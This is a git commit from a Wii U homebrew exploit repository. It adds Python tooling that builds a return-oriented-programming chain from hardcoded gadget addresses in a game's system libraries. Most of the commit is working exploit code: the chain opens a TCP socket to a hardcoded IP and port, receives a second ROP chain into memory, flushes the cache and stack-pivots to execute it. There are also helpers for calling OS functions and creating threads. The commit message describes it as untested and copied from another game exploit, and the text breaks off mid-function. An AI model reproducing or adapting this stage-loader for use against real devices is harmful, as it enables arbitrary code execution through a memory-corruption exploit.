mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-12-04 07:54:13 +01:00
Implement a rop chain which loads another ropchain via the network.
Untested, copy pasted from the mario kart 8 exploit (rop gadgets address are meant to be used on EUR v1.1.7)
This commit is contained in:
parent
1a0a137695
commit
dcf3bf5204
7
.gitignore
vendored
7
.gitignore
vendored
@ -1,2 +1,7 @@
|
||||
*.swp
|
||||
wiiuhaxx_common/
|
||||
wiiuhaxx_common/
|
||||
.idea/
|
||||
homebrew/exploit.mscsb
|
||||
homebrew/main.s
|
||||
homebrew/payload.s
|
||||
*.pyc
|
||||
|
@ -12,13 +12,9 @@ clean:
|
||||
exploit.mscsb: payload.s Scripts main.s
|
||||
$(PYTHON) ../pymsc/asm.py
|
||||
|
||||
payload.s: payload.bin
|
||||
payload.s:
|
||||
$(PYTHON) generate_payload.py
|
||||
|
||||
payload.bin: crashText.txt
|
||||
cp -f crashText.txt payload.bin
|
||||
printf "\0" >> payload.bin
|
||||
|
||||
main.s: rop_setup.s
|
||||
$(PYTHON) generate_rop.py
|
||||
|
||||
|
2
homebrew/PayloadAddress.py
Normal file
2
homebrew/PayloadAddress.py
Normal file
@ -0,0 +1,2 @@
|
||||
class PayloadAddress:
|
||||
pass
|
20
homebrew/common_defines.py
Normal file
20
homebrew/common_defines.py
Normal file
@ -0,0 +1,20 @@
|
||||
AF_INET = 2
|
||||
SOCK_STREAM = 1
|
||||
IPPROTO_TCP = 6
|
||||
|
||||
KERN_HEAP = 0xFF200000
|
||||
KERN_HEAP_PHYS = 0x1B800000
|
||||
STARTID_OFFSET = 0x08
|
||||
METADATA_OFFSET = 0x14
|
||||
METADATA_SIZE = 0x10
|
||||
KERN_DRVPTR = 0xFFEAB530
|
||||
|
||||
KERNEL_ADDRESS_TABLE = 0xFFEAB7A0
|
||||
|
||||
KERN_SYSCALL_TBL_1 = 0xFFE84C70 # unknown
|
||||
KERN_SYSCALL_TBL_2 = 0xFFE85070 # works with games
|
||||
KERN_SYSCALL_TBL_3 = 0xFFE85470 # works with loader
|
||||
KERN_SYSCALL_TBL_4 = 0xFFEAAA60 # works with home menu
|
||||
KERN_SYSCALL_TBL_5 = 0xFFEAAE60 # works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
ADDRESS_main_entry_hook = 0x0101c56c
|
@ -1,6 +0,0 @@
|
||||
_ _
|
||||
| | | |
|
||||
__| | __ _| |__
|
||||
/ _` |/ _` | '_ \
|
||||
| (_| | (_| | |_) |
|
||||
\__,_|\__,_|_.__/
|
@ -1,4 +1,10 @@
|
||||
with open('payload.bin', 'rb') as stringFile:
|
||||
with open('payload.s', 'w') as f:
|
||||
for byte in stringFile.read():
|
||||
print('byte %s' % hex(byte), file=f)
|
||||
from tcp_ropchain import *
|
||||
import struct
|
||||
|
||||
rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, [192,168,178,89], 12345)
|
||||
|
||||
with open('payload.s', 'w') as f:
|
||||
for val in rop_chain:
|
||||
bytes = [hex(val >> i & 0xff) for i in (24,16,8,0)]
|
||||
for v in bytes:
|
||||
print('byte %s' % v, file=f)
|
@ -1,9 +1,5 @@
|
||||
# Addresses
|
||||
LOAD_R3_ADDR = 0x0C00C650
|
||||
OSFATAL_ADDR = 0x01031618
|
||||
|
||||
class PayloadAddress:
|
||||
pass
|
||||
from tcp_ropchain import *
|
||||
from PayloadAddress import *
|
||||
|
||||
CHAIN_END = "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
|
||||
|
||||
@ -21,57 +17,8 @@ def write_rop_chain(rop_chain, path):
|
||||
raise Exception(f"Found invalid type {type(command)} in rop_chain")
|
||||
print(CHAIN_END, file=f)
|
||||
|
||||
|
||||
"""
|
||||
Example payload (writeOSFatalPayload func)
|
||||
|
||||
pushInt. 0xC00C650
|
||||
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
|
||||
pushInt. 0xBEEF0001
|
||||
pushInt. 0xBEEF0002
|
||||
pushInt. 0xBEEF0003
|
||||
pushInt. 0xBEEF0004
|
||||
pushInt. 0xBEEF0005
|
||||
pushInt. 0xBEEF0006
|
||||
pushInt. 0xBEEF0007
|
||||
pushInt. 0xBEEF0008
|
||||
pushInt. 0xBEEF0009
|
||||
pushInt. 0xBEEF000A
|
||||
pushInt. 0xBEEF000B
|
||||
pushInt. 0xBEEF000C
|
||||
pushInt. 0xBEEF000D
|
||||
pushInt. 0xBEEF000E
|
||||
pushInt. 0xBEEF000F
|
||||
pushInt. 0xBEEF0010
|
||||
pushInt. 0xBEEF0011
|
||||
pushInt. 0xBEEF0012
|
||||
pushInt. 0xBEEF0013
|
||||
pushInt. 0xBEEF0014
|
||||
pushInt. 0xBEEF0015
|
||||
pushInt. 0xBEEF0016
|
||||
pushInt. 0xBEEF0017
|
||||
pushInt. 0xBEEF0018
|
||||
pushInt. 0xBEEF0019
|
||||
pushInt. 0xBEEF001A
|
||||
pushInt. 0x01031618 #return address (OSFatal)
|
||||
|
||||
"""
|
||||
|
||||
# Print out contents of payload as null terminated string
|
||||
def generateOSFatalPayload():
|
||||
return [
|
||||
LOAD_R3_ADDR,
|
||||
PayloadAddress()
|
||||
] + [
|
||||
0xBEEF0001 + i for i in range(0x1A)
|
||||
] + [
|
||||
OSFATAL_ADDR
|
||||
]
|
||||
writeEnd()
|
||||
|
||||
|
||||
def main():
|
||||
rop_chain = generateOSFatalPayload()
|
||||
rop_chain = create_thread_ropchain(PayloadAddress())
|
||||
write_rop_chain(rop_chain, 'main.s')
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
74
homebrew/ropgadget_addr.py
Normal file
74
homebrew/ropgadget_addr.py
Normal file
@ -0,0 +1,74 @@
|
||||
ROP_POPJUMPLR_STACK12 = 0x0101CD24;
|
||||
ROP_POPJUMPLR_STACK20 = 0x01024D88;
|
||||
ROP_CALLFUNC = 0x01080274;
|
||||
ROP_CALLR28_POP_R28_TO_R31 = 0x0107DD70;
|
||||
ROP_POP_R28R29R30R31 = 0x0101D8D4;
|
||||
ROP_POP_R27 = 0x0101CB00;
|
||||
ROP_POP_R24_TO_R31 = 0x010204C8;
|
||||
ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x010253C0;
|
||||
ROP_SETR3TOR31_POP_R31 = 0x0101CC10;
|
||||
ROP_Register = 0x010277B8;
|
||||
ROP_Deregister = 0x010277C4;
|
||||
ROP_CopyToSaveArea = 0x010277DC;
|
||||
ROP_CopyFromSaveArea = 0x010277D0;
|
||||
ROP_CreateThreadInternal = 0x01041BA8;
|
||||
ROP_LR_TO_0XC_R1 = 0x0101CD24;
|
||||
ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr = 0x01040C58;
|
||||
ROP_memcpy = 0x01035FC8;
|
||||
ROP_DCFlushRange = 0x01023F88;
|
||||
ROP_ICInvalidateRange = 0x010240B0;
|
||||
ROP_OSSwitchSecCodeGenMode = 0x010376C0;
|
||||
ROP_OSCodegenCopy = 0x010376D8;
|
||||
ROP_OSGetCodegenVirtAddrRange = 0x010375C0;
|
||||
ROP_OSGetCoreId = 0x01024E8C;
|
||||
ROP_OSGetCurrentThread = 0x01043150;
|
||||
ROP_OSSetThreadAffinity = 0x010429DC;
|
||||
ROP_OSYieldThread = 0x010418E4;
|
||||
ROP_OSFatal = 0x01031618;
|
||||
ROP_Exit = 0x0101CD80;
|
||||
ROP_OSScreenFlipBuffersEx = 0x0103AFD0;
|
||||
ROP_OSScreenClearBufferEx = 0x0103B090;
|
||||
ROP_OSDynLoad_Acquire = 0x0102A3B4;
|
||||
ROP_OSDynLoad_FindExport = 0x0102B828;
|
||||
ROP_os_snprintf = 0x0102F160;
|
||||
ROP_OSSendAppSwitchRequest = 0x01039C30;
|
||||
ROP_OSExitThread = 0x01041D6C;
|
||||
ROP_OSSleepTicks = 0x0104274C;
|
||||
ROP_OSTestAndSetAtomic64 = 0x010229BC;
|
||||
ROP_OSDisableInterrupts = 0x01033250;
|
||||
ROP_OSForceFullRelaunch = 0x01035FA8;
|
||||
ROP_OSRestoreInterrupts = 0x01033368;
|
||||
ROP__Exit = 0x0101CD80;
|
||||
ROP_OSCreateThread = 0x01041B64;
|
||||
ROP_OSResumeThread = 0x01042108;
|
||||
ROP_IM_Open = 0x010821F0;
|
||||
ROP_IM_SetDeviceState = 0x01082598;
|
||||
ROP_IM_Close = 0x01082200;
|
||||
ROP___PPCExit = 0x0101C580;
|
||||
ROP_OSRequestFastExit = 0x01039630;
|
||||
ROP_OSRestartCrashedApp = 0x010302DC;
|
||||
ROP_OSShutdown = 0x0101FD0C;
|
||||
ROP_OSSuspendThread = 0x01042C60;
|
||||
ROP_OSRunThreadsOnExit = 0x01047644;
|
||||
ROP_OSBlockThreadsOnExit = 0x01047628;
|
||||
ROP_GX2SetSemaphore_2C = 0x01157F18;
|
||||
ROP_GX2_r3r4load = 0x0114EF74;
|
||||
ROP_GX2_r30r31load = 0x011519EC;
|
||||
ROP_GX2_do_flush = 0x0114F394;
|
||||
ROP_GX2_call_r12 = 0x01189DDC;
|
||||
ROP_GX2Init = 0x01156B78;
|
||||
ROP_GX2Shutdown = 0x0115733C;
|
||||
ROP_GX2Flush = 0x011575AC;
|
||||
ROP_GX2DrawDone = 0x01157560;
|
||||
ROP_GX2WaitForVsync = 0x01151964;
|
||||
ROP_GX2DirectCallDisplayList = 0x01152BF0;
|
||||
ROP_socket = 0x010C21C8;
|
||||
ROP_connect = 0x010C0828;
|
||||
ROP_recv = 0x010C0AEC;
|
||||
ROP_R3_TO_R11 = 0x0DA6364C;
|
||||
ROP_R11_TO_R1 = 0x0C009578;
|
||||
ROP_R3_TO_R7 = 0x0D37A6F4;
|
||||
ROP_R3_TO_R4 = 0x0DA6364C;
|
||||
ROP_POP_R12 = 0x0C8F991C;
|
||||
ROP_R3_TO_R6 = 0x0DFA353C;
|
||||
ROP_R3_TO_R5_POP_R29_R30_R31 = 0x0DA21BC4;
|
376
homebrew/ropgadgets.py
Normal file
376
homebrew/ropgadgets.py
Normal file
@ -0,0 +1,376 @@
|
||||
from ropgadget_addr import *
|
||||
|
||||
|
||||
def setr3r4(r3, r4):
|
||||
if 'ROP_GX2_r3r4load' not in globals():
|
||||
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
|
||||
return [ROP_GX2_r3r4load,
|
||||
r3,
|
||||
r4,
|
||||
0x0]
|
||||
|
||||
|
||||
def pop_r24_to_r31(inputregs):
|
||||
if 'ROP_POP_R24_TO_R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_POP_R24_TO_R31 is missing')
|
||||
curchain = [
|
||||
ROP_POP_R24_TO_R31,
|
||||
0,
|
||||
0]
|
||||
|
||||
for i in range(0, 8):
|
||||
curchain.append(inputregs[i])
|
||||
|
||||
curchain.append(0)
|
||||
return curchain
|
||||
|
||||
|
||||
def call_func(funcaddr, r3=0, r4=0, r5=0, r6=0, r28=0):
|
||||
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
||||
curchain = []
|
||||
input_regs = [r6,
|
||||
r5,
|
||||
0,
|
||||
ROP_CALLR28_POP_R28_TO_R31,
|
||||
funcaddr,
|
||||
r3,
|
||||
0,
|
||||
r4]
|
||||
|
||||
curchain += pop_r24_to_r31(input_regs)
|
||||
|
||||
curchain.append(ROP_CALLFUNC)
|
||||
curchain.append(r28)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
return curchain
|
||||
|
||||
|
||||
def tiny_call(fptr, r3=0, r4=0):
|
||||
if 'ROP_POP_R28R29R30R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
||||
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
||||
curchain = []
|
||||
curchain += setr3r4(r3, r4)
|
||||
curchain.append(ROP_POP_R28R29R30R31)
|
||||
curchain.append(fptr)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(r4)
|
||||
curchain.append(0)
|
||||
curchain.append(ROP_CALLR28_POP_R28_TO_R31)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
curchain.append(0)
|
||||
return curchain
|
||||
|
||||
|
||||
def write_r3r4_tomem(outaddr):
|
||||
if 'ROP_POP_R28R29R30R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
||||
if 'ROP_OSGetCodegenVirtAddrRange' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSGetCodegenVirtAddrRange is missing')
|
||||
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
||||
return [ROP_POP_R28R29R30R31,
|
||||
ROP_OSGetCodegenVirtAddrRange + 0x20,
|
||||
0,
|
||||
outaddr,
|
||||
0x10000000,
|
||||
0,
|
||||
ROP_CALLR28_POP_R28_TO_R31,
|
||||
0,
|
||||
0,
|
||||
0]
|
||||
|
||||
|
||||
def write32(addr, value):
|
||||
cur_chain = []
|
||||
cur_chain += setr3r4(value, 0)
|
||||
cur_chain += write_r3r4_tomem(addr)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def call_with_dereferenced_r3(addr, arg1_ptr, arg2=0, arg3=0, arg4=0, arg5=0):
|
||||
cur_chain = []
|
||||
# set r3 to arg5
|
||||
cur_chain += setr3r4(arg5, 0)
|
||||
# move it to r7
|
||||
|
||||
if 'ROP_R3_TO_R7' in globals():
|
||||
cur_chain.append(ROP_R3_TO_R7) # 0x028036ec: mr r7, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r7; blr;
|
||||
cur_chain.append(0x0000DEA2) # ;r1 +8
|
||||
else:
|
||||
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
|
||||
|
||||
# set r3 to arg3
|
||||
cur_chain += setr3r4(arg4, 0)
|
||||
|
||||
if 'ROP_R3_TO_R11' and 'ROP_R11_TO_R6' in globals():
|
||||
# move it to r11
|
||||
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
|
||||
cur_chain.append(0x0000DEA6) # ;r1 + 8
|
||||
# then we can move it to r6
|
||||
cur_chain.append(ROP_R11_TO_R6) # 0x029dd8fc: mr r6, r11; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; clrlwi r3, r6, 0x18; blr;
|
||||
cur_chain.append(0x0000DEA7) # ;r1 + 8
|
||||
cur_chain.append(0x0000DEA8) # ;r1 + 0xC
|
||||
cur_chain.append(0x0000DEA9) # ;r1 + 0x10
|
||||
elif 'ROP_R3_TO_R6' in globals():
|
||||
print('yay')
|
||||
else:
|
||||
raise ValueError('rop gagdet is missing')
|
||||
|
||||
# set arg3 to r3
|
||||
cur_chain += setr3r4(arg3, 0)
|
||||
if 'ROP_R3_TO_R5' in globals():
|
||||
# move it to r5
|
||||
cur_chain.append(ROP_R3_TO_R5) # 0x0211cb44 mr r5, r3; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; mr r3, r5; blr;
|
||||
cur_chain.append(0x0000DEAA) # ;r1 + 8
|
||||
cur_chain.append(0x0000DEAB) # ;r1 + 0xC
|
||||
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
|
||||
elif 'ROP_R3_TO_R5_POP_R29_R30_R31' in globals():
|
||||
cur_chain.append(ROP_R3_TO_R5_POP_R29_R30_R31) # 0x3a21bc4: mr r5, r3; lwz r29, 0x34(r1); lwz r0, 0x44(r1); lwz r30, 0x38(r1); mtlr r0; lwz r31, 0x3c(r1); addi r1, r1, 0x40; addi r3, r5, 0x10; blr
|
||||
cur_chain.append(0x0000DEAA) # ;r1 + 0x08
|
||||
cur_chain.append(0x0000DEAB) # ;r1 + 0x0C
|
||||
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
|
||||
cur_chain.append(0x0000DEAD) # ;r1 + 0x14
|
||||
cur_chain.append(0x0000DEAE) # ;r1 + 0x18
|
||||
cur_chain.append(0x0000DEAF) # ;r1 + 0x1C
|
||||
cur_chain.append(0x0000DEB0) # ;r1 + 0x20
|
||||
cur_chain.append(0x0000DEB1) # ;r1 + 0x24
|
||||
cur_chain.append(0x0000DEB2) # ;r1 + 0x28
|
||||
cur_chain.append(0x0000DEB3) # ;r1 + 0x2C
|
||||
cur_chain.append(0x0000DEB4) # ;r1 + 0x30
|
||||
cur_chain.append(0x0000DEB5) # ;r1 + 0x34 // r29
|
||||
cur_chain.append(0x0000DEB6) # ;r1 + 0x38 // r30
|
||||
cur_chain.append(0x0000DEB7) # ;r1 + 0x3C // r31
|
||||
cur_chain.append(0x0000DEB8) # ;r1 + 0x40
|
||||
else:
|
||||
raise ValueError('rop gagdet is missing')
|
||||
|
||||
cur_chain += call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2=0):
|
||||
cur_chain = []
|
||||
# now we can set r3
|
||||
cur_chain += setr3r4(arg1_ptr, 0)
|
||||
|
||||
if 'ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr' not in globals():
|
||||
raise ValueError('rop gagdet ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr is missing')
|
||||
|
||||
cur_chain.append(ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr) # #0x2024858 r3 = *r3 # lwz r3, 0(r3); lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
|
||||
cur_chain.append(0x0) # + 8
|
||||
|
||||
if 'ROP_POP_R28R29R30R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
|
||||
|
||||
# set func address to r28, arg2 to r31
|
||||
cur_chain.append(ROP_POP_R28R29R30R31) # coreinit.rpl 0x020014d4: lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r30, 0x10(r1); mtlr r0; lwz r31, 0x14(r1); addi r1, r1, 0x18; blr;
|
||||
cur_chain.append(addr) # r28 + 8
|
||||
cur_chain.append(0) # r29 +0x0C
|
||||
cur_chain.append(0) # r30+ 0x10
|
||||
cur_chain.append(arg2) # r31 + 0x14
|
||||
cur_chain.append(0) # + 0x18
|
||||
|
||||
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
|
||||
|
||||
# r31 will be moved to r4
|
||||
cur_chain.append(ROP_CALLR28_POP_R28_TO_R31) # coreinit: 0x02061970: mtctr r28; mr r4, r31; bctrl; lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r31, 0x14(r1); mtlr r0; lwz r30, 0x10(r1); addi r1, r1, 0x18; blr;
|
||||
cur_chain.append(0) # r28 + 8
|
||||
cur_chain.append(0) # r29 + 0xC
|
||||
cur_chain.append(0) # r30 + 0x10
|
||||
cur_chain.append(0) # r31 + 0x14
|
||||
cur_chain.append(0) # + 0x18
|
||||
return cur_chain
|
||||
|
||||
|
||||
def call_ptr(addr_ptr, arg1=0, arg2=0):
|
||||
if 'ROP_POP_R12' not in globals():
|
||||
raise ValueError('rop gagdet ROP_POP_R12 is missing')
|
||||
# overrides r3
|
||||
# 0x025850c0: lwz r12, 8(r1); addis r3, r12, 0x8000; lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
|
||||
cur_chain = [ROP_POP_R12,
|
||||
addr_ptr - 0x2C,
|
||||
0x0000DEA3,
|
||||
0x0000DEA4]
|
||||
|
||||
# sets r3 and r4. More arguments could be set using the gadget (call_with_dereferenced_r3)
|
||||
cur_chain += setr3r4(arg1, arg2)
|
||||
|
||||
if 'ROP_GX2_call_r12' not in globals():
|
||||
raise ValueError('rop gagdet ROP_GX2_call_r12 is missing')
|
||||
cur_chain.append(ROP_GX2_call_r12) # gx2.rpl; 0x0203b19c: lwz r0, 0x2c(r12); mtctr r0; bctrl; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
|
||||
cur_chain.append(0) # 8
|
||||
|
||||
return cur_chain
|
||||
|
||||
|
||||
def DCFlushRange(addr, size):
|
||||
if 'ROP_DCFlushRange' not in globals():
|
||||
raise ValueError('rop gagdet ROP_DCFlushRange is missing')
|
||||
return tiny_call(ROP_DCFlushRange, addr, size)
|
||||
|
||||
|
||||
def ICInvalidateRange(addr, size):
|
||||
if 'ROP_ICInvalidateRange' not in globals():
|
||||
raise ValueError('rop gagdet ROP_ICInvalidateRange is missing')
|
||||
return tiny_call(ROP_ICInvalidateRange, addr, size)
|
||||
|
||||
|
||||
def memcpy(dest, src, size):
|
||||
if 'ROP_memcpy' not in globals():
|
||||
raise ValueError('rop gagdet ROP_memcpy is missing')
|
||||
return call_func(ROP_memcpy, dest, src, size)
|
||||
|
||||
|
||||
def OSDriver_Register(name, name_len, unkwn1, unkwn2):
|
||||
if 'ROP_Register' not in globals():
|
||||
raise ValueError('rop gagdet ROP_Register is missing')
|
||||
return call_func(ROP_Register, name, name_len, unkwn1, unkwn2)
|
||||
|
||||
|
||||
def OSDriver_CopyToSaveArea(name, name_len, data, data_len):
|
||||
if 'ROP_CopyToSaveArea' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CopyToSaveArea is missing')
|
||||
return call_func(ROP_CopyToSaveArea, name, name_len, data, data_len)
|
||||
|
||||
|
||||
def OSResumeThread(thread):
|
||||
if 'ROP_OSResumeThread' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSResumeThread is missing')
|
||||
return tiny_call(ROP_OSResumeThread, thread)
|
||||
|
||||
|
||||
def OSFatal(arg):
|
||||
if 'ROP_OSFatal' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSFatal is missing')
|
||||
return tiny_call(ROP_OSFatal, arg)
|
||||
|
||||
|
||||
def OSSuspendThread(thread):
|
||||
if 'ROP_OSSuspendThread' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSSuspendThread is missing')
|
||||
return tiny_call(ROP_OSSuspendThread, thread)
|
||||
|
||||
|
||||
def OSDynLoad_Acquire(name_ptr, handle_ptr):
|
||||
if 'ROP_OSDynLoad_Acquire' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSDynLoad_Acquire is missing')
|
||||
return tiny_call(ROP_OSDynLoad_Acquire, name_ptr, handle_ptr)
|
||||
|
||||
|
||||
def OSExitThread(resultcode):
|
||||
if 'ROP_OSExitThread' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSExitThread is missing')
|
||||
return tiny_call(ROP_OSExitThread, resultcode)
|
||||
|
||||
|
||||
def socket(domain, type, protocol):
|
||||
if 'ROP_socket' not in globals():
|
||||
raise ValueError('rop gagdet ROP_socket is missing')
|
||||
return call_func(ROP_socket, domain, type, protocol)
|
||||
|
||||
|
||||
def connect(sockfd, addr, addrlen):
|
||||
if 'ROP_connect' not in globals():
|
||||
raise ValueError('rop gagdet ROP_connect is missing')
|
||||
return call_func(ROP_connect, sockfd, addr, addrlen)
|
||||
|
||||
|
||||
def recv(sockfd, buf, len, flags):
|
||||
if 'ROP_recv' not in globals():
|
||||
raise ValueError('rop gagdet ROP_recv is missing')
|
||||
return call_func(ROP_recv, sockfd, buf, len, flags)
|
||||
|
||||
|
||||
def GX2WaitForVsync():
|
||||
if 'ROP_GX2WaitForVsync' not in globals():
|
||||
raise ValueError('rop gagdet ROP_GX2WaitForVsync is missing')
|
||||
return tiny_call(ROP_GX2WaitForVsync)
|
||||
|
||||
|
||||
def GX2Flush():
|
||||
if 'ROP_GX2Flush' not in globals():
|
||||
raise ValueError('rop gagdet ROP_GX2Flush is missing')
|
||||
return tiny_call(ROP_GX2Flush)
|
||||
|
||||
|
||||
def GX2DrawDone():
|
||||
if 'ROP_GX2DrawDone' not in globals():
|
||||
raise ValueError('rop gagdet ROP_GX2DrawDone is missing')
|
||||
return tiny_call(ROP_GX2DrawDone)
|
||||
|
||||
|
||||
def GX2DirectCallDisplayList(addr, size):
|
||||
if 'ROP_GX2DirectCallDisplayList' not in globals():
|
||||
raise ValueError('rop gagdet ROP_GX2DirectCallDisplayList is missing')
|
||||
return tiny_call(ROP_GX2DirectCallDisplayList, addr, size)
|
||||
|
||||
|
||||
def FindExportAndCall(tmp, rpl_name_addr, function_name_addr, arg1=0, arg2=0):
|
||||
if 'ROP_OSDynLoad_FindExport' not in globals():
|
||||
raise ValueError('rop gagdet ROP_OSDynLoad_FindExport is missing')
|
||||
cur_chain = []
|
||||
cur_chain += OSDynLoad_Acquire(rpl_name_addr, tmp)
|
||||
cur_chain += call_with_dereferenced_r3(ROP_OSDynLoad_FindExport, tmp, 0, function_name_addr, tmp + 0x04, 0) # will use the value of (tmp) in r3, not the address!
|
||||
cur_chain += call_ptr(tmp + 0x04, arg1, arg2)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def StackPivot(new_stack):
|
||||
cur_chain = []
|
||||
# set r3 to arg3
|
||||
cur_chain += setr3r4(new_stack, 0)
|
||||
|
||||
if 'ROP_R3_TO_R11' not in globals():
|
||||
raise ValueError('rop gagdet ROP_R3_TO_R11 is missing')
|
||||
if 'ROP_R11_TO_R1' not in globals():
|
||||
raise ValueError('rop gagdet ROP_R11_TO_R1 is missing')
|
||||
|
||||
# move it to r11
|
||||
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
|
||||
cur_chain.append(0x0000DEA6) # ;r1 + 8
|
||||
cur_chain.append(ROP_R11_TO_R1) # 0x02a645b0 ;r1 + 12 # lwz r0, 4(r11); mtlr r0; mr r1, r11; blr;
|
||||
return cur_chain
|
||||
|
||||
|
||||
def OSCreateThread(thread, entry, argc, argv, stack, stackSize, priority, attributes):
|
||||
curchain = [];
|
||||
inputregs = [1, 2, 3, 4, 5, 6, 7, 8]
|
||||
inputregs[24 - 24] = 0 # #r24
|
||||
inputregs[25 - 24] = stack # #r25 # r7
|
||||
inputregs[26 - 24] = stackSize # #r26 # r8
|
||||
inputregs[27 - 24] = priority # #r27 # r9
|
||||
inputregs[28 - 24] = thread # #r28 #r3
|
||||
inputregs[29 - 24] = entry # #r29 #r4
|
||||
inputregs[30 - 24] = argc ##r30 #r5
|
||||
inputregs[31 - 24] = argv # #r31 # r6
|
||||
curchain += pop_r24_to_r31(inputregs)
|
||||
|
||||
if 'ROP_CreateThreadInternal' not in globals():
|
||||
raise ValueError('rop gagdet ROP_CreateThreadInternal is missing')
|
||||
|
||||
# 0x020257a8: li r0, 2; lhz r10, 0xc(r1); mr r3, r28; mr r8, r26; stw r0, 8(r1); mr r4, r29; mr r5, r30; mr r6, r31;
|
||||
# mr r7, r25; mr r9, r27; bl 0x2025548; lmw r25, 0x14(r1); lwz r0, 0x34(r1);mtlr r0; addi r1, r1, 0x30; blr;
|
||||
curchain.append(ROP_CreateThreadInternal)
|
||||
curchain.append(2) # param #10 ;r1 +8
|
||||
curchain.append(attributes << 16) # r10 ;r1 +12 (lhz from this register)
|
||||
curchain.append(0) # ;r1 +16
|
||||
curchain.append(0) # r25 ;r1 +20
|
||||
curchain.append(0) # r26 ;r1 +24
|
||||
curchain.append(0) # r27 ;r1 +28
|
||||
curchain.append(0) # r28 ;r1 +32
|
||||
curchain.append(0) # r29 ;r1 +36
|
||||
curchain.append(0) # r30 ;r1 +40
|
||||
curchain.append(0) # r31 ;r1 +44 (0x2C)
|
||||
curchain.append(0)
|
||||
return curchain
|
74
homebrew/tcp_ropchain.py
Normal file
74
homebrew/tcp_ropchain.py
Normal file
@ -0,0 +1,74 @@
|
||||
from ropgadgets import *
|
||||
from common_defines import *
|
||||
|
||||
|
||||
def tcp_thread_ropchain_calls(data_addr):
|
||||
cur_chain = []
|
||||
# create a socket
|
||||
cur_chain += socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
|
||||
cur_chain += write_r3r4_tomem(0x4D055000) # save result to memory
|
||||
|
||||
# connect(socket_fd, &sin, 0x10)
|
||||
cur_chain += call_with_dereferenced_r3(ROP_connect, 0x4D055000, data_addr,
|
||||
0x10); # will use the value at address (0x4D055000) as arg1, not the address itself!
|
||||
|
||||
# improve stability by waiting a bit
|
||||
cur_chain += GX2WaitForVsync()
|
||||
cur_chain += GX2WaitForVsync()
|
||||
|
||||
# receive the rop chain
|
||||
cur_chain += recv(4, 0x4D900014, 0x8000, 0)
|
||||
cur_chain += DCFlushRange(0x4D900010, 0x8000)
|
||||
|
||||
# execute received rop chain!
|
||||
cur_chain += StackPivot(0x4D900010)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def tcp_thread_ropchain_data(ip, port):
|
||||
cur_chain = []
|
||||
# sin.family + port
|
||||
cur_chain.append(0x00020000 + port)
|
||||
cur_chain.append((ip[0] << 24) | (ip[1] << 16) | (ip[2] << 8) | (ip[3] << 0))
|
||||
cur_chain.append(0)
|
||||
cur_chain.append(0)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def tcp_thread_ropchain(base, ip, port):
|
||||
# Calculate offsets
|
||||
